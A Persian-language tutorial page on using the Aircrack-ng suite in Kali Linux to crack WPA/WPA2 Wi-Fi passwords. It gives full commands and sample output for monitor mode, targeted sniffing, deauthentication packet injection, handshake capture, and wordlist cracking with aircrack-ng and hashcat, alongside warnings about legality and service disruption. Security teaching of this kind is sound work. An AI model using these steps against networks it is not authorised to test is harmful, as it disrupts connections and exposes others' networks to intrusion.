</>

لینوکس‌پارسی

مرجع فارسی آموزش لینوکس

Gentoo • Arch • Debian • Ubuntu • Kali • Parrot
پرش به محتوای اصلی

Command Palette

Search for a command to run...

Aircrack-ng در Kali Linux

راهنمای پیشرفته Aircrack-ng: حالت monitor، شنود WPA/WPA2، handshake و کرک پسورد وایرلس.

پیشرفته۹ دقیقه مطالعهآخرین بروزرسانی: ۵ تیر ۱۴۰۵ویرایش در گیت‌هاب

Aircrack-ng کامل‌ترین suite ابزارهای حمله وایرلس است که در Kali Linux به‌صورت پیش‌فرض نصب می‌شود. در این آموزش، با حالت monitor، شنود شبکه‌های WPA/WPA2، ثبت handshake و کرک پسورد وایرلس آشنا می‌شوید.

استفادهٔ مسئولانه

حملات وایرلس تنها باید روی شبکه‌هایی که مالک آن‌ها هستید یا مجوز کتبی دارید انجام شوند. شنود یا کرک شبکه‌های دیگران جرم محسوب می‌شود و پیگرد قانونی دارد. این آموزش صرفاً برای آموزش و تست امنیتی مجاز است.

Aircrack-ng چیست؟#

Aircrack-ng یک مجموعهٔ کامل ابزار برای ارزیابی امنیتی شبکه‌های وایرلس است که شامل ابزارهای زیر است:

ابزارکاربرد
airmon-ngفعال‌سازی حالت monitor
airodump-ngشنود و جمع‌آوری اطلاعات
aireplay-ngتزریق پکت
aircrack-ngکرک handshake
airbase-ngساخت AP جعلی
airdecap-ngرمزگشایی ترافیک ضبط‌شده

پیش‌نیازها#

۱. کارت وایرلس پشتیبانی‌کننده از Monitor Mode#

همهٔ کارت‌های وایرلس از حالت monitor پشتیبانی نمی‌کنند. کارت‌های پیشنهادی:

سازندهمدلچیپست
AlfaAWUS036NHAAtheros AR9271
AlfaAWUS036ACHRTL8812AU
TP-LinkTL-WN722N (v1)Atheros AR9271
PandaPAU05Ralink RT3070

۲. نصب درایور مناسب#

# بررسی شناسایی کارت وایرلس
iwconfig
 
# خروجی:
# wlan0     IEEE 802.11  ESSID:off/any
#           Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
#           Retry short limit:7   RTS thr:off   Fragment thr:off
#           Encryption key:off
#           Power Management:on
 
# بررسی پشتیبانی از monitor
iw list | grep -A 5 "Supported interface modes"
# Supported interface modes:
#   * IBSS
#   * managed
#   * AP
#   * AP/VLAN
#   * monitor   # این یعنی پشتیبانی می‌کند
#   * mesh point

مرحله ۱: فعال‌سازی Monitor Mode#

# بررسی interfaceهای وایرلس
airmon-ng
 
# خروجی:
# PHY     Interface       Driver          Chipset
# phy0    wlan0           ath9k_htc       Atheros Communications, Inc. AR9271
 
# غیرفعال‌سازی فرآیندهای تداخلی
sudo airmon-ng check kill
 
# فعال‌سازی monitor mode
sudo airmon-ng start wlan0
 
# خروجی:
# PHY     Interface       Driver          Chipset
# phy0    wlan0           ath9k_htc       Atheros Communications, Inc. AR9271
#                 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
#                 (mac80211 station mode vif disabled for [phy0]wlan0)
 
# بررسی interface جدید
iwconfig
# wlan0mon  IEEE 802.11  Mode:Monitor  Tx-Power=20 dBm

مرحله ۲: شنود شبکه‌های اطراف#

# شنود تمام شبکه‌های اطراف
sudo airodump-ng wlan0mon
 
# خروجی (به‌روزرسانی پیوسته):
#  BSSID              PWR  Beacons  #Data  #/s  CH  MB   ENC  CIPHER AUTH ESSID
#  AA:BB:CC:DD:EE:01  -42      105     23    0   6  130  WPA2 CCMP   PSK  HomeNet
#  AA:BB:CC:DD:EE:02  -67       88      5    0  11  270  WPA2 CCMP   PSK  Office
#  AA:BB:CC:DD:EE:03  -78       34      2    0   1  54   WEP  RC4    SKY  OldNet
#  AA:BB:CC:DD:EE:04  -55       65     12    0   6  130  OPN  --     --   GuestNet
ستونتوضیح
BSSIDMAC آدرس Access Point
PWRقدرت سیگنال (نزدیک به ۰ = قوی‌تر)
Beaconsتعداد بسته‌های beacon دریافتی
#Dataتعداد بسته‌های data
CHکانال
ENCنوع رمزنگاری (WPA2/WEP/OPN)
ESSIDنام شبکه

مرحله ۳: شنود شبکهٔ هدف#

# شنود متمرکز روی یک شبکه
sudo airodump-ng --bssid AA:BB:CC:DD:EE:01 -c 6 -w capture wlan0mon
 
# پارامترها:
# --bssid: MAC آدرس AP هدف
# -c: کانال
# -w: نام فایل خروجی
 
# خروجی:
#  BSSID              PWR  RXQ  Beacons  #Data  #/s  CH  MB   ENC  CIPHER AUTH ESSID
#  AA:BB:CC:DD:EE:01  -42  100     256     34    0   6  130  WPA2 CCMP   PSK  HomeNet
#
#  BSSID              STATION            PWR   Rate   Lost  Frames  Notes  Probes
#  AA:BB:CC:DD:EE:01  11:22:33:44:55:66  -45   1e-6e    0     123   EAPOL

انتظار برای handshake

در مرحلهٔ ۳، باید منتظر بمانید تا یک کلاینت به AP متصل شود. در ستون Notes باید EAPOL نمایش داده شود که نشان‌دهندهٔ handshake است. این مرحله ممکن است چند دقیقه تا چند ساعت طول بکشد.

مرحله ۴: تزریق پکت برای accelerate handshake#

اگر کلاینتی متصل است ولی handshake دریافت نمی‌شود، می‌توانید با تزریق deauth، کلاینت را مجبور به اتصال مجدد کنید:

# ارسال ۵ بسته deauth به کلاینت
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:01 -c 11:22:33:44:55:66 wlan0mon
 
# خروجی:
# 09:00:00  Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:01) on channel 6
# 09:00:00  Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 0|64 ACKs]
# 09:00:01  Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [25|64 ACKs]

سپس به پنجرهٔ airodump-ng برگردید و منتظر handshake بمانید. وقتی handshake دریافت شد، پیام زیر در airodump-ng ظاهر می‌شود:

WPA handshake: AA:BB:CC:DD:EE:01 captured at 09:01:23

مرحله ۵: کرک handshake#

# بررسی فایل‌های ضبط‌شده
ls -lh capture*
# -rw-r--r-- 1 root root  24K capture-01.cap
# -rw-r--r-- 1 root root  488B capture-01.csv
# -rw-r--r-- 1 root root  118B capture-01.kismet.csv
 
# کرک handshake با wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:01 capture-01.cap
 
# خروجی (در صورت موفقیت):
#                                  Aircrack-ng 1.7
#
#                   [00:00:23] 1234/14344352 keys tested (53.21 k/s)
#
#   Time left: 4 minutes, 28 seconds                          0.01%
#
#                          KEY FOUND! [ password123 ]
#
#   Master Key     : CD 69 0D 11 8E AC AA C5 EC 0F 1A 6C 14 11 9D 5A
#                    9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A
#
#   Transient Key  : 33 55 0B 32 88 1E 12 2A 7C 6C 9B 5A 6C 14 9D 5A
#                    9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A
#                    9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A
#                    9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A
#
#   EAPOL HMAC     : 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A

کرک با Hashcat (سریع‌تر با GPU)#

# تبدیل فایل cap به فرمت hashcat
hcxpcapngtool -o hash.hc22000 capture-01.cap
 
# کرک با hashcat (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

بازگشت به حالت Managed#

پس از اتمام کار، باید کارت وایرلس را به حالت عادی برگردانید:

# غیرفعال‌سازی monitor mode
sudo airmon-ng stop wlan0mon
 
# راه‌اندازی مجدد NetworkManager
sudo systemctl start NetworkManager
 
# بررسی
iwconfig
# wlan0     IEEE 802.11  ESSID:off/any
#           Mode:Managed  Access Point: Not-Associated

خطاهای رایج#

"Monitor mode not supported"#

مشکل: کارت وایرلس شما از monitor mode پشتیبانی نمی‌کند.

راه‌حل:

  • یک کارت وایرلس با چیپست پشتیبانی‌شده تهیه کنید (Alfa توصیه می‌شود)
  • درایور جدید نصب کنید (مثلاً realtek-rtl88xxau-dkms برای RTL8812AU)

"No such device"#

مشکل: پس از فعال‌سازی monitor، interface گم می‌شود.

راه‌حل:

# ری‌استارت کارت وایرلس
sudo airmon-ng stop wlan0mon
sudo ip link set wlan0 down
sudo ip link set wlan0 up
 
# یا ری‌استارت سرویس
sudo systemctl restart NetworkManager

channel -1 error#

مشکل: airodump-ng روی کانال اشتباه قرار می‌گیرد.

راه‌حل:

# تنظیم صریح کانال
sudo iwconfig wlan0mon channel 6
 
# یا استفاده از --channel در airodump-ng
sudo airodump-ng -c 6 wlan0mon

handshake ضبط نمی‌شود#

مشکل: علی‌رغم اتصال کلاینت، handshake دریافت نمی‌شود.

راه‌حل:

  • با aireplay-ng --deauth کلاینت را مجبور به اتصال مجدد کنید
  • مطمئن شوید کانال AP و airodump-ng یکسان است
  • سیگنال کافی باشد (PWR نزدیک به ۰)

تأثیر بر شبکهٔ واقعی

حملهٔ deauth روی شبکه‌های واقعی، اتصال کلاینت‌ها را قطع می‌کند. این کار می‌تواند باعث اختلال در خدمات شود. همیشه با مجوز صریح و فقط در شبکه‌های خودتان این کار را انجام دهید.

خلاصه و مرحلهٔ بعد#

Aircrack-ng کامل‌ترین suite ابزارهای ارزیابی امنیتی وایرلس است. با فعال‌سازی monitor mode، شنود شبکهٔ هدف، ثبت handshake و کرک آن با wordlist، می‌توانید امنیت شبکه‌های WPA/WPA2 را تست کنید.

به‌عنوان گام بعدی:

اشتراک‌گذاری:

این صفحه در تاریخ ۵ تیر ۱۴۰۵ به‌روزرسانی شده است.